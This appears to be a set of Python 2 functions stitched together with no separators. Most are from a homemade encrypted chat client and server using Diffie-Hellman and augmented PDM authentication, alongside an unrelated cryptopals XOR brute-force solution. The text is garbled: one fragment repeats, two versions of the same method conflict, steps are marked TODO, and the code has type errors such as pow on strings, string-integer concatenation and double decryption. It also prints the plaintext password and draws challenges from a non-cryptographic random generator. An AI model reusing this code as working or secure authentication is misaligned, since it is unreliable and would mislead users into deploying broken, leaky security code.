def receive_peer_messages(self): """ Reads messages from socket :return: data read """ try: msg, addr = self.sock.recvfrom(ChatClient.MSG_LEN) if self.peers.has_key(addr): peer = self.peers.get(addr) response = CryptoLib.decryptUsingSymetricKey(peer.get_shared_key(), peer.get_initialization_vector(), msg) response = response.split(":") if response[0] == "PEER_CONTRIBUTION": peer_contribution = response[1] if response[2] is None: print "Error: didn't receive IV" else: peer.set_initialization_vector(response[2]) shared_key = pow(peer_contribution, peer.get_client_b(), self.peerPrime) peer.set_shared_key(shared_key) challenge = CryptoLib.generateRandomKey(16) msg = CryptoLib.encyptUsingSymmetricKey(peer.get_shared_key(), peer.get_initialization_vector(), challenge) self.send_message(msg, peer.get_address()[0], peer.get_address()[1]) else: print "Error: unknown message sent!!!" elif addr == (self.serverAddr, self.port): response = CryptoLib.decryptUsingSymetricKey(self.sessionKey, self.sessionID, msg) response = response.split(":") if response[0] == "DISCONNECTED": print " Server Disconnected us... Good bye!" sys.exit(0) except socket.timeout, e: #print "Thread Error: ", e msg = None
def main(): ans = "Now that the party is jumping\n" inputFile = "assets/Set1/inputC4.txt" inputArr = bytearray() key = 0 score = 0 val = '' topScore = 0 res = '' #Read in the file line by line for line in open(inputFile, 'r'): inputArr = bytearray.fromhex(line.rstrip()) (key,score,val) = CryptoLib.xorBruteForce1(inputArr) #Keep track of the best result if(score > topScore): topScore = score res = val print(res) CryptoLib.validate(res, ans)
def peer_response(self, key, ticket, peer_username): # Step 1: Decrypt and split the ticket to get the information of the client ret = False ticket = CryptoLib.decryptUsingSymetricKey(key, self.sessionID, ticket) ticket = ticket.split(":") peer_address = ticket[0] peer_public_key = ticket[1] peer = Peer.Peer(peer_username, peer_address, peer_public_key) # Step 2: Generate and send contribution b = CryptoLib.generatePublicPrivateKeys(32) msg = pow(2, b, self.peerPrime) msg = CryptoLib.encryptUsingPublicKey(peer_public_key, msg) if not self.send_message(msg, peer_address[0], peer_address[1]): return ret # Step 3: Recieve peer contribution and iv and unpack it peer_contribution = self.receive_response() peer_contribution = CryptoLib.decryptUsingPrivateKey(self.clientPrivateKey, peer_contribution) peer_contribution = peer_contribution.split(":") peer_session_id = peer_contribution[1] peer_contribution = peer_contribution[0] # Construct shared key shared_key = pow(peer_contribution, b, self.peerPrime) # Step 4: Challenge Response (Two way authentication) - user sends challenge, client increments and sends # back response which is again incremented and sent back to user. All of this is done using the symmetric # key encryption with the shared key. challenge = random.randrange(1, 100000) challenge = CryptoLib.encyptUsingSymmetricKey(shared_key, peer_session_id, challenge) if not self.send_message(challenge, peer_address[0], peer_address[1]): return ret response = self.receive_response() response = CryptoLib.decryptUsingSymetricKey(shared_key, peer_session_id, response) # If authentication is successful, add the peer to list of connected peers and send back response if response == challenge + 1: response += 1 response = CryptoLib.encyptUsingSymmetricKey(shared_key, peer_session_id, response) if not self.send_message(response, peer_address[0], peer_address[1]): return ret peer.set_initialization_vector(peer_session_id) peer.set_shared_key(shared_key) self.peers[peer_address] = peer return True return False
def login(self): while self.count != 0: self.count -= 1 self.username = raw_input("Please enter your username: "******"Please enter your password: "******"password: %s, pwdHash: %s " % (self.password, self.pwdHash) self.isAuthenticated = self.authenticate_me(self.pwdHash) if self.isAuthenticated is True: print "===============================\n" \ " Welcome {}! Happy Chatting!!! \n".format(self.username), \ "===============================\n" break else: print " Error!! username or password is invalid, please try again\n" if self.count == 0: print " Exceeded number of trials...Good bye!" sys.exit(-1) else: return self.isAuthenticated
def handleClientMessages(self, msg, knownClient, addr): if self.DBG is True:print " message received: '%s'" % msg msgContents = msg.split(":") if msgContents[0] == "AUTH": if knownClient is not None: print "client has already been Authenticated, ignore message..." else: self.challengeAnswer, challenge, firstFew = self.challengeResponse() response = str(challenge) + ":" + str(firstFew) self.sendMessage(response, addr) elif msgContents[0] == "CONTRIBUTION": if int(msgContents[1]) == self.challengeAnswer: if self.DBG is True: print "solved challenge!!!" for existingClients in self.clients.values(): if existingClients.get_name() == msgContents[2]: print "client already exists, removing old client..." msg = "DISCONNECTED:" msg = CryptoLib.encyptUsingSymmetricKey(existingClients.get_session_key(), existingClients.get_initialization_vector(), msg) self.sendMessage(msg, existingClients.get_address()) self.clients.pop(existingClients.get_address()) # create and add new client to list client = Client.User(msgContents[2], addr) self.clients[addr] = client #************************************************** # Start authentication procedure (Augmented PDM) #************************************************** clientContribution = msgContents[3] b = CryptoLib.generateRandomKey(16) # retrieve the safe prime for the user primeTag = 'P' + (self.clients[addr]).get_name() try: p = ChatServer.config.getint('SectionTwo', primeTag) except Exception, e: print "couldn't get prime...: ", e self.clients.pop(addr) return # generate server contribution (2^b mod p) to send to server serverContribution = pow(ChatServer.generator, int(b.encode('hex'), 16), p) # retrieve the password hash for the user pwdHashTag = 'W' + (self.clients[addr]).get_name() # 2^W mod p try: pwdHashExp = ChatServer.config.getint('SectionTwo', pwdHashTag) except Exception, e: print "couldn't get pwd hash...: ", e self.clients.pop(addr) return #print "2^W mod p for client, pwdHashTag:%s ==> pwdHashExp:%s" % (pwdHashTag, pwdHashExp) # 2^ab mod p sharedKey1 = CryptoLib.generateSecretKey(int(clientContribution), int(b.encode('hex'), 16), p) # 2^bW mod p sharedKey2 = CryptoLib.generateSecretKey(pwdHashExp, int(b.encode('hex'), 16), p) sessionKey = (str(sharedKey1) + str(sharedKey2))[0:16] #print "Server: sharedKey1: %s, sharedKey2: %s, sessionKey: %s" % (sharedKey1, # sharedKey2, sessionKey) # HASH(2^ab mod p, 2^bW modp) sessionKeyHash = CryptoLib.generateKeyHash(sessionKey) if self.clients.get(addr) is not None: self.clients.get(addr).set_session_key_and_hash(sessionKey, sessionKeyHash) iv = CryptoLib.generateRandomKey(8).encode('hex') self.clients.get(addr).set_initialization_vector(iv) response = str(serverContribution) + ":" + sessionKeyHash + ":" + iv if self.DBG: print "====== sending: ", response self.sendMessage(response, addr) return
def authenticateMe(self, pwdHash): print "authenticate with chat server and set up session key" ret = False if self.serverPublicKey is not None: # step 1: send authentication message msg = "authenticate me" if self.sendMessage(msg, self.serverAddr, self.port) is False: return ret # step 2: receive challenge and starting number servermsg = self.receiveMessage() challenge_starting = servermsg.split(":") challenge = challenge_starting[0] starting_num = challenge_starting[1] # step 3: handle challenge and generate response as well as response = self.solvechallenge(challenge, starting_num) msg = response if self.sendMessage(msg, self.serverAddr, self.port) is False: return ret # Start authentication procedure (Augmented PDM) a = random.randrange(1, 100) # retrieve the safe prime for the user p = genPrime.genp(self.username, self.password) # send 2^a modp to server msg = pow(2, a) % p if self.sendMessage(msg, self.serverAddr, self.port) is False: return ret b = self.receiveMessage() # TODO: get W for client W = pwdHash # HASH(2^ab modp, 2^bW modp) hash_msg_client = hash(str((pow(2, (a*b)) % p)) + ":" + str((pow(2, (b*W)) % p))) msg = "send hash" if self.sendMessage(msg, self.serverAddr, self.port) is False: return ret hash_msg_server = self.receiveMessage() if hash_msg_client == hash_msg_server: ret = True # End of authentication with server. # Diffie Hellman contribution # TODO: handle challenge received and generate response clientContribution = CryptoLib.generateDHContribution(ChatClient.generator, ChatClient.prime) # step 4: encrypt client contribution and send response clientCipher = CryptoLib.encryptUsingPublicKey(self.serverPublicKey, clientContribution) msg = "Response:todo:%s:%s" % (self.username, clientCipher) if self.sendMessage(msg, self.serverAddr, self.port) is False: return ret # step 5: receive server contribution and hash serverContribution = self.receiveMessage() # step 6: TODO: calculate session key and hash # step 7: send server client's public key ret = True return ret
def authenticate_peer(self, username): ret = False # choose a random iv # send server the username of the client we want to chat with msg = "CONP:" + username # step 1: Request Server for the tickets msg = CryptoLib.encyptUsingSymmetricKey(self.sessionKey, self.sessionID, msg) if not self.send_message(msg, self.serverAddr, self.port): return ret # Step 2: receive the combined ticket from the server and split it into two parts combined_ticket = self.receive_response() combined_ticket = CryptoLib.decryptUsingSymetricKey(self.sessionKey, self.sessionID, combined_ticket) if combined_ticket == "unknown client requested": print combined_ticket return False combined_ticket = combined_ticket.split(",") if combined_ticket is None: print "Error!!! Didn't receive ticket from server" return ret combined_ticket = CryptoLib.decryptUsingSymetricKey(self.sessionKey, self.sessionID, combined_ticket).split(",") user_ticket = combined_ticket[0] peer_ticket = combined_ticket[1] # decrypt the token for this client and unpack it. # Each ticket should contain the address, port and public key of the client concat using ,'s user_ticket = CryptoLib.decryptUsingSymetricKey(self.sessionKey, self.sessionID, user_ticket) user_ticket = user_ticket.split(":") peer_address = user_ticket[0] peer_tmp_shared_key = user_ticket[1] if user_ticket[2] != username: print "Error!!! wrong peer received!!!" return ret peer_tmp_iv = user_ticket[3] # create peer object peer = Peer.Peer(username, peer_address) # Step 3: message to talk to peer encrypted with key given by the server # message to peer contains peer's ticket msg = "REQUEST_PEER_CONNECTION:" + self.username + ":" + peer_ticket msg = CryptoLib.encyptUsingSymmetricKey(peer_tmp_shared_key, peer_tmp_iv, msg) if not self.send_message(msg, peer_address[0], peer_address[1]): return ret # Step 4: Receive peer's contribution for DH key response = self.receive_response() if response is None: print "Error!!! Didn't receive contribution from peer: ", username return ret peer_contribution = CryptoLib.decryptUsingSymetricKey(peer_tmp_shared_key, peer_tmp_iv, response) # Step 5: Generate and send contribution for DH key as well as the initialization vector a = CryptoLib.generateRandomKey(32) peer_session_id = CryptoLib.generateRandomKey(16) client_contribution = pow(self.peerGenerator, a, self.peerPrime) msg = "PEER_CONTRIBUTION:" + str(client_contribution) + ":" + peer_session_id msg = CryptoLib.encyptUsingSymmetricKey(peer_tmp_shared_key, peer_tmp_iv, msg) if not self.send_message(msg, peer_address[0], peer_address[1]): return ret # Now construct the shared key and set iv and shared key to peer object shared_key = pow(peer_contribution, a, self.peerPrime) # Step 6: Challenge response (Two way authentication) - user receives challenge, user increments and sends # back response which is again incremented and sent back to user. All of this is done using the symmetric # key encryption with the shared key. challenge = self.receive_response() if challenge is None: print "Error!!! Didn't receive challenge from peer" return ret challenge = int(CryptoLib.decryptUsingSymetricKey(shared_key, peer_session_id, challenge)) challenge += 1 msg = "PEER_CHALLENGE:" + challenge msg = CryptoLib.encyptUsingSymmetricKey(shared_key, peer_session_id, msg) if not self.send_message(msg, peer_address[0], peer_address[1]): return ret response = self.receive_response() if response is None: print "Error!!! Didn't receive response from peer" return ret response = CryptoLib.decryptUsingSymetricKey(shared_key, peer_session_id, response) # If authentication is successful, add the peer to list of connected peers if response == challenge + 1: peer.set_initialization_vector(peer_session_id) peer.set_shared_key(shared_key) peer.set_authenticated_flag(True) self.peers[username] = peer return True return False
# HASH(2^ab mod p, 2^bW modp) sessionKeyHash = CryptoLib.generateKeyHash(sessionKey) if self.clients.get(addr) is not None: self.clients.get(addr).set_session_key_and_hash(sessionKey, sessionKeyHash) iv = CryptoLib.generateRandomKey(8).encode('hex') self.clients.get(addr).set_initialization_vector(iv) response = str(serverContribution) + ":" + sessionKeyHash + ":" + iv if self.DBG: print "====== sending: ", response self.sendMessage(response, addr) return else: print "Invalid client!!!" elif msgContents[0] == "DISCONNECTING": msg = "DISCONNECTED:" msg = CryptoLib.encyptUsingSymmetricKey(self.clients[addr].get_session_key(), self.clients[addr].get_initialization_vector(), msg) self.sendMessage(msg, addr) self.clients.pop(addr) elif msgContents[0] == "VALIDATE": if knownClient is not None and knownClient.get_session_key_hash() == msgContents[1]: knownClient.set_public_key(msgContents[3]) msgContents[2] = int(msgContents[2]) +1 response = "ACKNOWLEDGE:" + str(msgContents[2]) response = CryptoLib.encyptUsingSymmetricKey(knownClient.get_session_key(), knownClient.get_initialization_vector(), response) self.sendMessage(response, knownClient.get_address()) # client is fully authenticated knownClient.set_authenticated = True else:
def authenticate_me(self, pwdHash): #print "authenticate with chat server and set up session key" ret = False if self.serverPublicKey is not None: # step 1: send authentication message msg = "AUTH:" if not self.send_message(msg, self.serverAddr, self.port): return ret # step 2: receive challenge and starting number serverResponse = self.receive_response() if(serverResponse is None): return ret challengeAndStartingNum = serverResponse.split(":") challenge = int(challengeAndStartingNum[0],16) startingNum = int(challengeAndStartingNum[1]) #************************************************** # Start authentication procedure (Augmented PDM) #************************************************** # step 3: solve challenge and send APDM contribution challenge_response = self.solve_challenge(challenge, startingNum) a = CryptoLib.generateRandomKey(16) # retrieve the safe prime for the user p = genPrime.genp(self.username, self.password) # step 4: generate client contribution (2^a mod p) and send challenge response, # client user name and contribution to server Note: no need to encrypt because eavesdropper # cannot compute 2^W mod p client_contribution = pow(ChatClient.generator, int(a.encode('hex'), 16), p) msg = "CONTRIBUTION:" + str(challenge_response) + ":" + self.username + ":" + str(client_contribution) #msg = CryptoLib.encryptUsingPublicKey(self.serverPublicKey, msg) if not self.send_message(msg, self.serverAddr, self.port): return ret # step 5: receive server contribution and shared key hash serverResponse = self.receive_response() if(serverResponse is None): print "failed to receive response from server" return ret serverContributionAndHash = serverResponse.split(":") serverContribution = serverContributionAndHash[0] serverSessionKeyHash = serverContributionAndHash[1] # step 6: calculate session key and hash W = pwdHash # 2^ab mod p sharedKey1 = CryptoLib.generateSecretKey(int(serverContribution), int(a.encode('hex'), 16), p) # 2^bW mod p sharedKey2 = CryptoLib.generateSecretKey(int(serverContribution), int(W, 16), p) #print "===== W: ", W sessionKey = (str(sharedKey1) + str(sharedKey2))[0:16] if self.DBG: print "sharedKey1: %s, sharedKey2: %s, sessionKey: %s, len: %d" % \ (sharedKey1, sharedKey2, sessionKey, len(sessionKey)) # HASH(2^ab mod p, 2^bW modp) sessionKeyHash = CryptoLib.generateKeyHash(sessionKey) if(serverSessionKeyHash == sessionKeyHash): self.sessionKey = sessionKey self.sessionID = serverContributionAndHash[2] if self.DBG: print"====== session keys match!! sessionID %s, len: %d " % \ (self.sessionID, len(self.sessionID)) # step 7: send hash of encrypted session key and public key to server self.clientPrivateKey, self.clientPublicKey = CryptoLib.generatePublicPrivateKeys() validateServer = int(CryptoLib.generateRandomKey(16).encode("hex"), 16) #msg = "VALIDATE:" + sessionKeyHash + ":" + self.clientPublicKey + ":" + validateServer msg = "VALIDATE:" + sessionKeyHash + ":" + str(validateServer) + ":" + self.clientPublicKey msg = CryptoLib.encyptUsingSymmetricKey(self.sessionKey, self.sessionID, msg) if not self.send_message(msg, self.serverAddr, self.port): return ret # server signals that client has been fully authenticated response = self.receive_response() if response is None: print "Error!!! didn't receive response from server" return ret response = CryptoLib.decryptUsingSymetricKey(self.sessionKey, self.sessionID, response) response = response.split(":") if self.DBG is True: print "validateServer: %s, serverResponse: %s" % (str(validateServer), response[1]) if response[0] == "ACKNOWLEDGE" and \ int(validateServer + 1 == int(response[1])): ret = True # End of authentication with server. return ret